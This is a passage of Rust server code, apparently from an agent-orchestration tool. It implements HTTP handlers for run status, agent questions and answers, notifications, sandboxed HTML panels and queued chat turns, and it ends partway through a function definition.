5756type Stamps = HashMap<String, (u128, u64)>;
5757
5758fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
5760 std::fs::read_dir(root)
5761 .into_iter()
5762 .flatten()
5763 .flatten()
5764 .filter_map(|entry| {
5765 let path = if runs {
5766 entry.path().join("run.json")
5767 } else {
5768 entry.path()
5769 };
5770 if !runs && path.extension().is_none_or(|ext| ext != "json") {
5771 return None;
5772 }
5773 let metadata = path.metadata().ok()?;
5774 let modified = metadata
5775 .modified()
5776 .ok()?
5777 .duration_since(std::time::UNIX_EPOCH)
5778 .ok()?;
5779 let id = if runs {
5780 entry.file_name().to_string_lossy().into_owned()
5781 } else {
5782 path.file_stem()?.to_string_lossy().into_owned()
5783 };
5784 Some((id, (modified.as_nanos(), metadata.len())))
5785 })
5786 .collect()
5787}
5788
5789#[derive(Debug, Serialize)]
5790struct Delta {
5791 base: u64,
5792 changed: Vec<String>,
5793 removed: Vec<String>,
5794}
5795
5796fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
5797 let mut changed: Vec<_> = next
5798 .iter()
5799 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
5800 .map(|(id, _)| id.clone())
5801 .collect();
5802 let mut removed: Vec<_> = previous
5803 .keys()
5804 .filter(|id| !next.contains_key(*id))
5805 .cloned()
5806 .collect();
5807 changed.sort_unstable();
5808 removed.sort_unstable();
5809 Delta {
5810 base,
5811 changed,
5812 removed,
5813 }
5814}
5815
5816fn runs_revision(runs: &FsPath) -> u64 {
5823 stamps_revision(&store_stamps(runs, true))
5824}
5825
5826fn stamps_revision(stamps: &Stamps) -> u64 {
5830 use std::hash::{Hash as _, Hasher as _};
5831 if stamps.is_empty() {
5832 return 0;
5833 }
5834 let mut entries: Vec<_> = stamps.iter().collect();
5835 entries.sort_unstable();
5836 let mut hasher = std::hash::DefaultHasher::new();
5837 entries.hash(&mut hasher);
5838 hasher.finish().max(1)
5839}
5840
5841fn run_ids(runs: &FsPath) -> Vec<String> {
5847 let mut ids: Vec<String> = std::fs::read_dir(runs)
5848 .into_iter()
5849 .flatten()
5850 .flatten()
5851 .filter(|e| e.path().join("run.json").is_file())
5852 .map(|e| e.file_name().to_string_lossy().into_owned())
5853 .collect();
5854 ids.sort_unstable_by(|a, b| b.cmp(a));
5856 ids
5857}
5858
5859fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
5861 let path = runs.join(id).join("run.json");
5862 let body =
5863 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
5864 let state: RunState =
5865 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
5866 run::migrate_schema(state)
5871}
5872
5873#[must_use]
5881pub fn runs_unreadable(runs: &FsPath) -> usize {
5882 run_ids(runs)
5883 .into_iter()
5884 .filter(|id| read_run(runs, id).is_err())
5885 .count()
5886}
5887
5888fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
5890 if runs.join(id).join("run.json").is_file() {
5891 return Ok(id.to_owned());
5892 }
5893 pick(run_ids(runs), id, "run")
5894}
5895
5896fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
5898 if queue.path_of(id).is_file() {
5899 return Ok(id.to_owned());
5900 }
5901 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
5902}
5903
5904#[derive(Debug, Serialize)]
5915struct QuestionView {
5916 #[serde(flatten)]
5917 question: Question,
5918 detail_md: Vec<md::Node>,
5919 thread_bodies_md: Vec<Vec<md::Node>>,
5921 thread_notes_md: Vec<Option<Vec<md::Node>>>,
5924 waiting_on_agent: bool,
5934 holder: Option<&'static str>,
5938 deputies_enabled: bool,
5942 run_is_task: bool,
5945 origin_chat: Option<String>,
5950 origin_chat_closed: bool,
5952}
5953
5954impl QuestionView {
5955 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
5959 let base = md::ImageBase::QuestionPanel {
5960 id: question.id.clone(),
5961 };
5962 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5963 Self {
5964 detail_md: md::to_nodes(&question.detail, &base),
5965 thread_bodies_md: question
5966 .thread
5967 .iter()
5968 .map(|t| md::to_nodes(&t.body, &base))
5969 .collect(),
5970 thread_notes_md: question
5971 .thread
5972 .iter()
5973 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5974 .collect(),
5975 waiting_on_agent: question.waiting_on_agent(),
5976 holder,
5977 deputies_enabled,
5978 run_is_task: question.run_names_task(),
5979 origin_chat: None,
5980 origin_chat_closed: false,
5981 question,
5982 }
5983 }
5984
5985 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5987 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5988 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5989 self.origin_chat = talk.map(|t| t.id);
5990 self
5991 }
5992}
5993
5994fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5998 Config::discover(repo, None).ok().map(|(c, _)| c)
5999}
6000
6001fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6003 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6004}
6005
6006fn question_views(
6009 qs: Vec<Question>,
6010 store: &ask::Questions,
6011 load: impl FnOnce() -> Option<Config>,
6012) -> Vec<QuestionView> {
6013 if qs.is_empty() {
6014 return Vec::new();
6015 }
6016 let cfg = load();
6017 qs.into_iter()
6018 .map(|q| {
6019 let on = deputies_enabled(cfg.as_ref(), &q);
6020 QuestionView::of(q, store, on)
6021 })
6022 .collect()
6023}
6024
6025fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6035 if !q.status.open() {
6036 return None;
6037 }
6038 if q.cwd.is_none() && q.deputy.is_none() {
6039 return crate::deputy::kind_of(q).map(|_| "nobody");
6040 }
6041 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6042 Some(_) if q.deputy.is_some() => "deputy",
6043 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6044 Some(_) => "asker",
6045 None => "nobody",
6046 })
6047}
6048
6049async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6055 blocking(move || {
6056 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6057 Ok(Json(
6058 question_views(ui.questions.list(), &ui.questions, || {
6059 deputy_config(&ui.repo)
6060 })
6061 .into_iter()
6062 .map(|v| v.with_origin(&tasks, &talks))
6063 .collect(),
6064 ))
6065 })
6066 .await
6067}
6068
6069async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6072 blocking(move || {
6073 let items = ui.notices.list();
6074 let unread = items.iter().filter(|n| n.unread()).count();
6075 Ok(Json(
6076 serde_json::json!({ "unread": unread, "items": items }),
6077 ))
6078 })
6079 .await
6080}
6081
6082fn notice_error(e: anyhow::Error) -> ApiError {
6083 ApiError::not_found(format!("{e:#}"))
6086}
6087
6088async fn notification_read(
6090 State(ui): State<Arc<Ui>>,
6091 Path(id): Path<String>,
6092) -> ApiResult<Json<Notice>> {
6093 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6094}
6095
6096async fn notification_dismiss(
6098 State(ui): State<Arc<Ui>>,
6099 Path(id): Path<String>,
6100) -> ApiResult<Json<Notice>> {
6101 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6102}
6103
6104async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6106 blocking(move || {
6107 let changed = ui.notices.mark_all_read()?;
6108 Ok(Json(serde_json::json!({ "marked": changed })))
6109 })
6110 .await
6111}
6112
6113#[derive(Debug, Default, Deserialize)]
6119#[serde(default, deny_unknown_fields)]
6120struct NewAnswer {
6121 choice: Option<String>,
6122 text: Option<String>,
6123}
6124
6125async fn question_answer(
6126 State(ui): State<Arc<Ui>>,
6127 Path(id): Path<String>,
6128 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6129) -> ApiResult<Json<QuestionView>> {
6130 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6131 let answer = match (body.choice, body.text) {
6132 (Some(c), None) => Answer::Choice(c),
6133 (None, Some(t)) => Answer::Text(t),
6134 (Some(_), Some(_)) => {
6135 return Err(ApiError::bad_request(
6136 "send either `choice` or `text`, not both",
6137 ));
6138 }
6139 (None, None) => {
6140 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6141 }
6142 };
6143
6144 blocking(move || {
6145 let id = resolve_question(&ui.questions, &id)?;
6146 let q = ui
6147 .questions
6148 .get(&id)
6149 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6150 if !q.status.open() {
6151 return Err(ApiError::conflict(format!(
6155 "question {} is already {}",
6156 q.short(),
6157 q.status.as_str()
6158 )));
6159 }
6160 let (q, ()) = ui
6164 .questions
6165 .update(&q.id, |r| r.answer(answer))
6166 .map_err(ApiError::bad_request_from)?;
6167 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6168 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6169 Ok(Json(
6170 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6171 ))
6172 })
6173 .await
6174}
6175
6176#[derive(Debug, Deserialize)]
6178#[serde(deny_unknown_fields)]
6179struct NewSay {
6180 body: String,
6181}
6182
6183async fn question_say(
6193 State(ui): State<Arc<Ui>>,
6194 Path(id): Path<String>,
6195 body: std::result::Result<Json<NewSay>, JsonRejection>,
6196) -> ApiResult<Json<QuestionView>> {
6197 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6198 blocking(move || {
6199 let id = resolve_question(&ui.questions, &id)?;
6200 let q = ui
6201 .questions
6202 .get(&id)
6203 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6204 if !q.status.open() {
6205 return Err(ApiError::conflict(format!(
6209 "question {} is already {}",
6210 q.short(),
6211 q.status.as_str()
6212 )));
6213 }
6214 let (q, ()) = ui
6217 .questions
6218 .update(&q.id, |r| r.say(body.body))
6219 .map_err(ApiError::bad_request_from)?;
6220 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6221 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6222 Ok(Json(
6223 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6224 ))
6225 })
6226 .await
6227}
6228
6229async fn question_consult(
6238 State(ui): State<Arc<Ui>>,
6239 Path(id): Path<String>,
6240) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6241 let (view, reclaimed) = blocking({
6242 let ui = Arc::clone(&ui);
6243 move || {
6244 let id = resolve_question(&ui.questions, &id)?;
6245 let q = ui
6246 .questions
6247 .get(&id)
6248 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6249 if !q.status.open() {
6250 return Err(ApiError::conflict(format!(
6251 "question {} is already {}",
6252 q.short(),
6253 q.status.as_str()
6254 )));
6255 }
6256 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6257 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6258 return Err(ApiError::conflict(format!(
6259 "question {} has no chat to ask",
6260 q.short()
6261 )));
6262 };
6263 let cfg = if q.consult.is_none() {
6267 Some(Config::discover(&talk.repo, None)?.0)
6268 } else {
6269 None
6270 };
6271 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6272 let claim = if fresh {
6273 match ui.begin_queued_talk_turn(&talk.id)? {
6274 Some(turn_guard) => {
6275 let talk = ui.talks.get(&talk.id)?;
6276 let cfg = match cfg {
6277 Some(cfg) => cfg,
6278 None => Config::discover(&talk.repo, None)?.0,
6279 };
6280 Some((talk, cfg, turn_guard))
6281 }
6282 None => None,
6283 }
6284 } else {
6285 None
6286 };
6287 let q = ui.questions.get(&q.id)?;
6288 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6289 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6290 Ok((view, claim))
6291 }
6292 })
6293 .await?;
6294 if let Some((talk, cfg, turn_guard)) = reclaimed {
6295 let talks = ui.talks.clone();
6296 let id = talk.id.clone();
6297 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6298 }
6299 Ok((StatusCode::ACCEPTED, Json(view)))
6300}
6301
6302fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6304 if store.path_of(id).is_file() {
6305 return Ok(id.to_owned());
6306 }
6307 pick(
6308 store.list().into_iter().map(|q| q.id).collect(),
6309 id,
6310 "question",
6311 )
6312}
6313
6314async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6329 blocking(move || {
6330 let id = resolve_question(&ui.questions, &id)?;
6331 let Some(html) = ui.questions.panel_html(&id) else {
6332 return Err(ApiError::not_found(format!("question {id} has no panel")));
6333 };
6334 Ok(panel_response(
6335 "text/html; charset=utf-8",
6336 false,
6337 html.into_bytes(),
6338 ))
6339 })
6340 .await
6341}
6342
6343async fn question_asset(
6371 State(ui): State<Arc<Ui>>,
6372 Path((id, name)): Path<(String, String)>,
6373) -> ApiResult<Response> {
6374 if !crate::ask::valid_asset_name(&name) {
6377 return Err(ApiError::bad_request(format!(
6378 "`{name}` is not a usable asset name"
6379 )));
6380 }
6381 blocking(move || {
6382 let id = resolve_question(&ui.questions, &id)?;
6383 let asset = ui
6384 .questions
6385 .panel_asset(&id, &name)
6386 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6387 let Some(bytes) = asset else {
6388 return Err(ApiError::not_found(format!(
6389 "question {id} has no asset `{name}`"
6390 )));
6391 };
6392 Ok(panel_response(
6393 asset_content_type(&name),
6394 is_svg(&name),
6395 bytes,
6396 ))
6397 })
6398 .await
6399}
6400
6401fn asset_content_type(name: &str) -> &'static str {
6414 match extension(name).as_deref() {
6415 Some("png") => "image/png",
6416 Some("jpg" | "jpeg") => "image/jpeg",
6417 Some("gif") => "image/gif",
6418 Some("webp") => "image/webp",
6419 Some("svg") => "image/svg+xml",
6420 Some("css") => "text/css; charset=utf-8",
6421 Some("txt") => "text/plain; charset=utf-8",
6422 _ => "application/octet-stream",
6423 }
6424}
6425
6426fn is_svg(name: &str) -> bool {
6429 extension(name).as_deref() == Some("svg")
6430}
6431
6432fn extension(name: &str) -> Option<String> {
6434 name.rsplit_once('.')
6435 .map(|(_, ext)| ext.to_ascii_lowercase())
6436}
6437
6438fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6455 let mut res = (
6456 [
6457 (header::CONTENT_TYPE, content_type),
6458 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6459 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6460 (header::REFERRER_POLICY, "no-referrer"),
6461 ],
6462 body,
6463 )
6464 .into_response();
6465 if download {
6466 res.headers_mut().insert(
6467 header::CONTENT_DISPOSITION,
6468 HeaderValue::from_static("attachment"),
6469 );
6470 }
6471 res
6472}
6473
6474#[derive(Debug, Serialize)]
6480struct TalkView {
6481 #[serde(flatten)]
6482 talk: Talk,
6483 turn_bodies_md: Vec<Vec<md::Node>>,
6484 thinking: bool,
6492 context: talk::ContextUsage,
6496 operator_name: Option<String>,
6499 persona_name: Option<String>,
6501 persona_avatar: String,
6504 operator_avatar: String,
6506}
6507
6508impl TalkView {
6509 fn new(talk: Talk, thinking: bool) -> Self {
6512 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6513 Self::with_config(talk, thinking, cfg.as_ref())
6514 }
6515
6516 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6519 let context = talk::context_usage(&talk, cfg);
6520 let turn_bodies_md = talk
6521 .turns
6522 .iter()
6523 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6524 .collect();
6525 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6526 let persona_name = persona::find(specs, &talk.persona)
6527 .filter(|p| !p.is_default())
6528 .map(|p| p.name);
6529 let persona_avatar = avatar_url(
6530 &talk.id,
6531 &persona::find(specs, &talk.persona)
6532 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6533 );
6534 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6535 Self {
6536 turn_bodies_md,
6537 thinking,
6538 context,
6539 operator_name,
6540 persona_name,
6541 persona_avatar,
6542 operator_avatar: format!(
6543 "/avatars/operator.svg?v={}",
6544 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
6545 ),
6546 talk,
6547 }
6548 }
6549}
6550
6551#[derive(Debug, Serialize)]
6556struct TalkDetailView {
6557 #[serde(flatten)]
6558 view: TalkView,
6559 tasks: Vec<TaskView>,
6560 roster: Vec<RosterEntry>,
6563 personas: Vec<PersonaEntry>,
6566}
6567
6568#[derive(Debug, Serialize)]
6570struct PersonaEntry {
6571 id: String,
6572 name: String,
6573 avatar: String,
6575}
6576
6577#[derive(Debug, Serialize)]
6579struct RosterEntry {
6580 id: String,
6581 kind: AgentKind,
6582 runnable: bool,
6584}
6585
6586async fn talks_list(
6591 State(ui): State<Arc<Ui>>,
6592 Query(q): Query<ListQuery>,
6593) -> ApiResult<Json<Vec<TalkView>>> {
6594 blocking(move || {
6595 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6596 Ok(Json(
6597 ui.talks
6598 .list()
6599 .into_iter()
6600 .filter(|talk| q.contains(&talk.id))
6601 .map(|talk| {
6602 let thinking = ui.is_thinking(&talk.id);
6603 let cfg = configs
6604 .entry(talk.repo.clone())
6605 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6606 TalkView::with_config(talk, thinking, cfg.as_ref())
6607 })
6608 .collect(),
6609 ))
6610 })
6611 .await
6612}
6613
6614#[derive(Debug, Default, Deserialize)]
6619#[serde(default)]
6620struct NewTalk {
6621 agent: Option<String>,
6622 repo: Option<PathBuf>,
6623 preferred_agent: Option<serde_json::Value>,
6627 persona: Option<serde_json::Value>,
6628 implementers: Option<serde_json::Value>,
6629}
6630
6631async fn talk_post(
6634 State(ui): State<Arc<Ui>>,
6635 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6636) -> ApiResult<impl IntoResponse> {
6637 let body = match body {
6641 Ok(Json(body)) => body,
6642 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6643 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6644 };
6645 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6646 let cfg = config_for(&repo).await?;
6647 let view = blocking(move || {
6648 let preferred = talk::Preferred {
6649 agent: body
6650 .preferred_agent
6651 .as_ref()
6652 .and_then(|v| v.as_str())
6653 .map(str::to_owned),
6654 persona: body
6655 .persona
6656 .as_ref()
6657 .and_then(|v| v.as_str())
6658 .map(str::to_owned),
6659 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6660 };
6661 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6662 let thinking = ui.is_thinking(&talk.id);
6663 Ok(TalkView::new(talk, thinking))
6664 })
6665 .await?;
6666 Ok((StatusCode::CREATED, Json(view)))
6667}
6668
6669async fn talk_detail(
6671 State(ui): State<Arc<Ui>>,
6672 Path(id): Path<String>,
6673) -> ApiResult<Json<TalkDetailView>> {
6674 blocking(move || {
6675 let id = resolve_talk(&ui.talks, &id)?;
6676 let talk = ui.talks.get(&id)?;
6677 let thinking = ui.is_thinking(&talk.id);
6678 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6679 .into_iter()
6680 .map(TaskView::from)
6681 .collect();
6682 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6683 let roster = cfg
6684 .as_ref()
6685 .map(|cfg| {
6686 cfg.agents
6687 .iter()
6688 .map(|a| RosterEntry {
6689 id: a.id.clone(),
6690 kind: a.kind,
6691 runnable: agent::installed(a),
6692 })
6693 .collect()
6694 })
6695 .unwrap_or_default();
6696 let specs = cfg
6697 .as_ref()
6698 .map(|cfg| cfg.talk.personas.clone())
6699 .unwrap_or_default();
6700 let personas = persona::catalog(&specs)
6701 .into_iter()
6702 .map(|p| PersonaEntry {
6703 avatar: avatar_url(&talk.id, &p),
6704 id: p.id,
6705 name: p.name,
6706 })
6707 .collect();
6708 Ok(Json(TalkDetailView {
6709 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6710 tasks,
6711 roster,
6712 personas,
6713 }))
6714 })
6715 .await
6716}
6717
6718#[derive(Debug, Default, Deserialize)]
6724#[serde(default, deny_unknown_fields)]
6725struct NewTalkTurn {
6726 reply_to: Option<talk::ReplyTarget>,
6727 text: String,
6728 attachments: Vec<String>,
6729}
6730
6731#[derive(Debug, Deserialize)]
6732#[serde(deny_unknown_fields)]
6733struct EditTalkPending {
6734 #[serde(default)]
6735 message: Option<usize>,
6736 text: String,
6737 expected_text: String,
6738 expected_attachments: Vec<String>,
6739}
6740
6741#[derive(Debug, Deserialize)]
6742#[serde(deny_unknown_fields)]
6743struct ClearTalkPending {
6744 expected_text: String,
6745 expected_attachments: Vec<String>,
6746}
6747
6748async fn talk_say(
6760 State(ui): State<Arc<Ui>>,
6761 Path(id): Path<String>,
6762 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6763) -> ApiResult<(StatusCode, Json<TalkView>)> {
6764 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6765 if body.text.trim().is_empty() && body.attachments.is_empty() {
6766 return Err(ApiError::bad_request("say something"));
6767 }
6768
6769 let id = {
6770 let ui = Arc::clone(&ui);
6771 let asked = id.clone();
6772 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6773 };
6774 {
6778 let ui = Arc::clone(&ui);
6779 let id = id.clone();
6780 blocking(move || {
6781 let talk = ui.talks.get(&id)?;
6782 if !talk.status.open() {
6783 return Err(ApiError::conflict(format!(
6784 "talk {} is {} and takes no more turns",
6785 talk.short(),
6786 talk.status.as_str()
6787 )));
6788 }
6789 Ok(())
6790 })
6791 .await?;
6792 }
6793
6794 let attachments = {
6799 let ui = Arc::clone(&ui);
6800 let id = id.clone();
6801 let ids = body.attachments.clone();
6802 blocking(move || {
6803 ids.into_iter()
6804 .map(|att_id| {
6805 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6806 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6807 })
6808 })
6809 .collect::<ApiResult<Vec<talk::Attachment>>>()
6810 })
6811 .await?
6812 };
6813
6814 let start = {
6819 let ui = Arc::clone(&ui);
6820 let id = id.clone();
6821 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6822 };
6823 let turn_guard = match start {
6824 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6825 TalkTurnStart::Pending => {
6826 return Err(ApiError::conflict(
6827 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6828 ));
6829 }
6830 TalkTurnStart::Foreign => {
6831 return Err(ApiError::conflict(
6832 "a turn is already running in another process; try again when it has finished",
6833 ));
6834 }
6835 TalkTurnStart::Busy => {
6836 let (tx, rx) = tokio::sync::oneshot::channel();
6852 tokio::spawn({
6853 let ui = Arc::clone(&ui);
6854 let id = id.clone();
6855 let said = body.text.clone();
6856 let reply_to = body.reply_to.clone();
6857 async move {
6858 let written = blocking({
6859 let ui = Arc::clone(&ui);
6860 let id = id.clone();
6861 move || {
6862 let mut talk = ui.talks.get(&id)?;
6863 #[cfg(test)]
6868 if let Some(gate) = ui
6869 .busy_queue_gate
6870 .lock()
6871 .unwrap_or_else(PoisonError::into_inner)
6872 .take()
6873 {
6874 let _ = gate.reached.send(());
6875 let _ = gate.release.recv();
6876 }
6877 if let Err(error) = talk::queue_reply(
6878 &mut talk,
6879 &ui.talks,
6880 &said,
6881 attachments,
6882 reply_to,
6883 ) {
6884 if let Ok(fresh) = ui.talks.get(&id) {
6885 if !fresh.status.open() {
6886 return Err(ApiError::conflict(format!(
6887 "talk {} is {} and takes no more turns",
6888 fresh.short(),
6889 fresh.status.as_str()
6890 )));
6891 }
6892 }
6893 return Err(
6894 if error.to_string().contains("invalid reply target") {
6895 ApiError::bad_request("invalid reply target")
6896 } else {
6897 ApiError::from(error)
6898 },
6899 );
6900 }
6901 let claim = match ui.begin_queued_talk_turn(&id)? {
6912 Some(turn_guard) => {
6913 let (cfg, _) = Config::discover(&talk.repo, None)?;
6914 Some((talk.clone(), cfg, turn_guard))
6915 }
6916 None => None,
6917 };
6918 let thinking = ui.is_thinking(&id);
6919 Ok((TalkView::new(talk, thinking), claim))
6920 }
6921 })
6922 .await;
6923 let (view, reclaimed) = match written {
6924 Ok(pair) => pair,
6925 Err(e) => {
6926 let _ = tx.send(Err(e));
6931 return;
6932 }
6933 };
6934 let _ = tx.send(Ok(view));
6937 if let Some((talk, cfg, turn_guard)) = reclaimed {
6938 let talks = ui.talks.clone();
6939 drain_loop(talk, talks, cfg, id, turn_guard).await;
6940 }
6941 }
6942 });
6943 let view = rx
6944 .await
6945 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6946 return Ok((StatusCode::ACCEPTED, Json(view)));
6947 }
6948 };
6949
6950 let (talk, cfg) = {
6951 let ui = Arc::clone(&ui);
6952 let id = id.clone();
6953 blocking(move || {
6954 let talk = ui.talks.get(&id)?;
6955 let (cfg, _) = Config::discover(&talk.repo, None)?;
6956 Ok((talk, cfg))
6957 })
6958 .await?
6959 };
6960
6961 let talks = ui.talks.clone();
6962 let (tx, rx) = tokio::sync::oneshot::channel();
6977 tokio::spawn({
6978 let ui = Arc::clone(&ui);
6979 let talks = talks.clone();
6980 let id = id.clone();
6981 let said = body.text.clone();
6982 let reply_to = body.reply_to.clone();
6983 let mut talk = talk.clone();
6984 async move {
6985 let recorded = blocking({
6986 let talks = talks.clone();
6987 move || {
6988 if let Err(error) =
6989 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
6990 {
6991 if let Ok(fresh) = talks.get(&talk.id) {
6992 if !fresh.status.open() {
6993 return Err(ApiError::conflict(format!(
6994 "talk {} is {} and takes no more turns",
6995 fresh.short(),
6996 fresh.status.as_str()
6997 )));
6998 }
6999 }
7000 return Err(if error.to_string().contains("invalid reply target") {
7001 ApiError::bad_request("invalid reply target")
7002 } else {
7003 ApiError::from(error)
7004 });
7005 }
7006 Ok((said.trim().to_owned(), talk))
7012 }
7013 })
7014 .await;
7015 let (text, mut talk) = match recorded {
7016 Ok(pair) => pair,
7017 Err(e) => {
7018 let _ = tx.send(Err(e));
7022 return;
7023 }
7024 };
7025 let queued = talk.clone();
7026 let thinking = ui.is_thinking(&id);
7027 let _ = tx.send(Ok((queued, thinking)));
7030
7031 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7032 tracing::warn!("talk {id} turn failed: {e:#}");
7036 }
7037 drain_loop(talk, talks, cfg, id, turn_guard).await;
7040 }
7041 });
7042
7043 let (queued, thinking) = rx
7044 .await
7045 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7046
7047 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
7049}
7050
7051async fn talk_pending_resume(
7055 State(ui): State<Arc<Ui>>,
7056 Path(id): Path<String>,
7057) -> ApiResult<(StatusCode, Json<TalkView>)> {
7058 let id = {
7059 let ui = Arc::clone(&ui);
7060 let asked = id.clone();
7061 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7062 };
7063 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7064 return Err(ApiError::conflict(
7065 "a talk turn is already running; the queued draft will be handled by it",
7066 ));
7067 };
7068 let (talk, cfg) = {
7069 let ui = Arc::clone(&ui);
7070 let id = id.clone();
7071 blocking(move || {
7072 let talk = ui.talks.get(&id)?;
7073 if !talk.status.open() {
7074 return Err(ApiError::conflict(format!(
7075 "talk {} is {} and takes no more turns",
7076 talk.short(),
7077 talk.status.as_str()
7078 )));
7079 }
7080 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7081 return Err(ApiError::conflict("there is no queued draft to resume"));
7082 }
7083 let (cfg, _) = Config::discover(&talk.repo, None)?;
7084 Ok((talk, cfg))
7085 })
7086 .await?
7087 };
7088 let view = TalkView::new(talk.clone(), true);
7089 let talks = ui.talks.clone();
7090 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7091 Ok((StatusCode::ACCEPTED, Json(view)))
7092}
7093
7094async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7110 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7111}
7112
7113async fn settle_settings_turn(
7117 talk: Talk,
7118 talks: Talks,
7119 cfg: Config,
7120 id: String,
7121 turn: TalkTurnGuard,
7122 observed: u64,
7123) -> bool {
7124 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7125 let turns = Arc::clone(&turn.turns);
7126 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7127 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7128 turn.release(&mut live);
7130 return false;
7131 }
7132 }
7133 let (started, settled) = tokio::sync::oneshot::channel();
7134 tokio::spawn(drain_loop_started(
7135 talk,
7136 talks,
7137 cfg,
7138 id,
7139 turn,
7140 Some(started),
7141 ));
7142 settled.await.unwrap_or(false)
7143}
7144
7145async fn drain_loop_started(
7146 mut talk: Talk,
7147 talks: Talks,
7148 cfg: Config,
7149 id: String,
7150 turn: TalkTurnGuard,
